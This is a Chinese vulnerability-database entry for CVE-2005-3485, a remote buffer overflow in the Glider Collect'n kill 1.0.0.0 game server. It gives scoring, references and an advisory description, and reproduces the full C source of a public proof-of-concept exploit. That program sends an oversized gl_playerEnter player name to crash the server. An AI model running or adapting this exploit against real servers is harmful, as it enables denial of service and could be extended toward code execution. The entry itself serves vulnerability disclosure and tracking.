CVE-2005-3485
CVSS7.5
发布时间 :2005-11-03 17:02:00
修订时间 :2016-10-17 23:35:43
NMCOE    

[原文]Buffer overflow in Glider Collect'n kill 1.0.0.0 allows remote attackers to execute arbitrary code via a gl_playerEnter command with a long player name.


[CNNVD]Glider Collect'n kill gl_playerEnter命令缓冲区溢出漏洞(CNNVD-200511-113)

        Glider Collect'n kill是一款太空动作和模拟游戏。
        Glider Collect'n kill 1.0.0.0中的缓冲区溢出可让远程攻击者通过具有长播放器名称的gl_playerEnter命令来执行任意代码。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: NETWORK [攻击者不需要获取内网访问权或本地访问权]
身份认证: NONE [漏洞利用无需身份认证]

- CWE (弱点类目)

CWE-119 [内存缓冲区边界内操作的限制不恰当]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3485
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-3485
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200511-113
(官方数据源) CNNVD

- 其它链接及资源

http://aluigi.altervista.org/adv/gliderbof-adv.txt
(VENDOR_ADVISORY)  MISC  http://aluigi.altervista.org/adv/gliderbof-adv.txt
http://marc.info/?l=full-disclosure&m=113095975721571&w=2
(UNKNOWN)  FULLDISC  20051102 Buffer-overflow in Glider collect'n kill 1.0.0.0
http://www.securityfocus.com/bid/15280
(UNKNOWN)  BID  15280
http://www.vupen.com/english/advisories/2005/2286
(UNKNOWN)  VUPEN  ADV-2005-2286

- 漏洞信息

Glider Collect'n kill gl_playerEnter命令缓冲区溢出漏洞
高危 缓冲区溢出
2005-11-03 00:00:00 2007-03-30 00:00:00
远程  
        Glider Collect'n kill是一款太空动作和模拟游戏。
        Glider Collect'n kill 1.0.0.0中的缓冲区溢出可让远程攻击者通过具有长播放器名称的gl_playerEnter命令来执行任意代码。

- 公告与补丁

        暂无数据

- 漏洞信息 (1284)

Glider collectn kill <= 1.0.0.0 Buffer Overflow (PoC) (EDBID:1284)
windows dos
2005-11-02 Verified
0 Luigi Auriemma
N/A [点击下载]
/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

#ifdef WIN32
    #include <winsock.h>
/*
   Header file used for manage errors in Windows
   It support socket and errno too
   (this header replace the previous sock_errX.h)
*/

#include <string.h>
#include <errno.h>



void std_err(void) {
    char    *error;

    switch(WSAGetLastError()) {
        case 10004: error = "Interrupted system call"; break;
        case 10009: error = "Bad file number"; break;
        case 10013: error = "Permission denied"; break;
        case 10014: error = "Bad address"; break;
        case 10022: error = "Invalid argument (not bind)"; break;
        case 10024: error = "Too many open files"; break;
        case 10035: error = "Operation would block"; break;
        case 10036: error = "Operation now in progress"; break;
        case 10037: error = "Operation already in progress"; break;
        case 10038: error = "Socket operation on non-socket"; break;
        case 10039: error = "Destination address required"; break;
        case 10040: error = "Message too long"; break;
        case 10041: error = "Protocol wrong type for socket"; break;
        case 10042: error = "Bad protocol option"; break;
        case 10043: error = "Protocol not supported"; break;
        case 10044: error = "Socket type not supported"; break;
        case 10045: error = "Operation not supported on socket"; break;
        case 10046: error = "Protocol family not supported"; break;
        case 10047: error = "Address family not supported by protocol family"; break;
        case 10048: error = "Address already in use"; break;
        case 10049: error = "Can't assign requested address"; break;
        case 10050: error = "Network is down"; break;
        case 10051: error = "Network is unreachable"; break;
        case 10052: error = "Net dropped connection or reset"; break;
        case 10053: error = "Software caused connection abort"; break;
        case 10054: error = "Connection reset by peer"; break;
        case 10055: error = "No buffer space available"; break;
        case 10056: error = "Socket is already connected"; break;
        case 10057: error = "Socket is not connected"; break;
        case 10058: error = "Can't send after socket shutdown"; break;
        case 10059: error = "Too many references, can't splice"; break;
        case 10060: error = "Connection timed out"; break;
        case 10061: error = "Connection refused"; break;
        case 10062: error = "Too many levels of symbolic links"; break;
        case 10063: error = "File name too long"; break;
        case 10064: error = "Host is down"; break;
        case 10065: error = "No Route to Host"; break;
        case 10066: error = "Directory not empty"; break;
        case 10067: error = "Too many processes"; break;
        case 10068: error = "Too many users"; break;
        case 10069: error = "Disc Quota Exceeded"; break;
        case 10070: error = "Stale NFS file handle"; break;
        case 10091: error = "Network SubSystem is unavailable"; break;
        case 10092: error = "WINSOCK DLL Version out of range"; break;
        case 10093: error = "Successful WSASTARTUP not yet performed"; break;
        case 10071: error = "Too many levels of remote in path"; break;
        case 11001: error = "Host not found"; break;
        case 11002: error = "Non-Authoritative Host not found"; break;
        case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
        case 11004: error = "Valid name, no data record of requested type"; break;
        default: error = strerror(errno); break;
    }
    fprintf(stderr, "\nError: %s\n", error);
    exit(1);
}

// inserted winerr.h /str0ke

    #define close   closesocket
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>
#endif



#define VER         "0.1"
#define PORT        2315
#define BUFFSZ      8192
#define BOFSZ       4112
#define TIMEOUT     2



int timeout(int sock);
u_int resolv(char *host);
void std_err(void);



int main(int argc, char *argv[]) {
    struct  sockaddr_in peer;
    u_int   tmp;
    int     sd,
            len;
    u_short port = PORT;
    u_char  buff[BUFFSZ];

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif


    setbuf(stdout, NULL);

    fputs("\n"
        "Glider collect'n kill <= 1.0.0.0 buffer-overflow "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@autistici.org\n"
        "web:    http://aluigi.altervista.org\n"
        "\n", stdout);

    if(argc < 2) {
        printf("\n"
            "Usage: %s <host> [port(%hu)]\n"
            "\n", argv[0], port);
        exit(1);
    }

    srand(time(NULL));

    if(argc > 2) port = atoi(argv[2]);
    peer.sin_addr.s_addr = resolv(argv[1]);
    peer.sin_port        = htons(port);
    peer.sin_family      = AF_INET;

    printf("- target   %s : %hu\n",
        inet_ntoa(peer.sin_addr), port);

    sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if(sd < 0) std_err();
    if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
      < 0) std_err();

    len = sprintf(buff, "gl_playerEnter ");
    memset(buff + len, 'a', BOFSZ);         len += BOFSZ;
    *(u_int *)(buff + len) = 0xdeadc0de;    len += 4;
    tmp = rand() * time(NULL);
    len += sprintf(buff + len,  // random values
        ",%hhu,%hhu,%hhu,%hhu,%hhu,%hhu\r\n",
        (tmp >> 24) & 0xff,
        (tmp >> 16) & 0xff,
        (tmp >> 8)  & 0xff,
        tmp         & 0xff,
        (tmp >> 20) & 0xff,
        (tmp >> 10) & 0xff);

    fputs("- send data\n", stdout);
    if(send(sd, buff, len, 0)
      < 0) std_err();

    timeout(sd);
    close(sd);

    fputs("- the server should be crashed, check it manually\n", stdout);
    return(0);
}



int timeout(int sock) {
    struct  timeval tout;
    fd_set  fd_read;
    int     err;

    tout.tv_sec = TIMEOUT;
    tout.tv_usec = 0;
    FD_ZERO(&fd_read);
    FD_SET(sock, &fd_read);
    err = select(sock + 1, &fd_read, NULL, NULL, &tout);
    if(err < 0) std_err();
    if(!err) return(-1);
    return(0);
}



u_int resolv(char *host) {
    struct  hostent *hp;
    u_int   host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("\nError: Unable to resolve hostname (%s)\n", host);
            exit(1);
        } else host_ip = *(u_int *)(hp->h_addr);
    }
    return(host_ip);
}



#ifndef WIN32
    void std_err(void) {
        perror("\nError");
        exit(1);
    }
#endif

// milw0rm.com [2005-11-02]
		

- 漏洞信息

20463
Glider Collectn Kill gl_playerEnter Command Remote Overflow
Remote / Network Access Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

A remote overflow exists in Glider - Collect'n Kill. The server component fails to validate client-supplied data to the gl_playerEnter command resulting in a buffer overflow. With a specially crafted request, an attacker can cause arbitrary code execution resulting in a loss of integrity.

- 时间线

2005-11-02 Unknow
Unknow Unknow

- 解决方案

Currently, there are no known upgrades, patches, or workarounds available to correct this issue.

- 相关参考

- 漏洞作者

 

 

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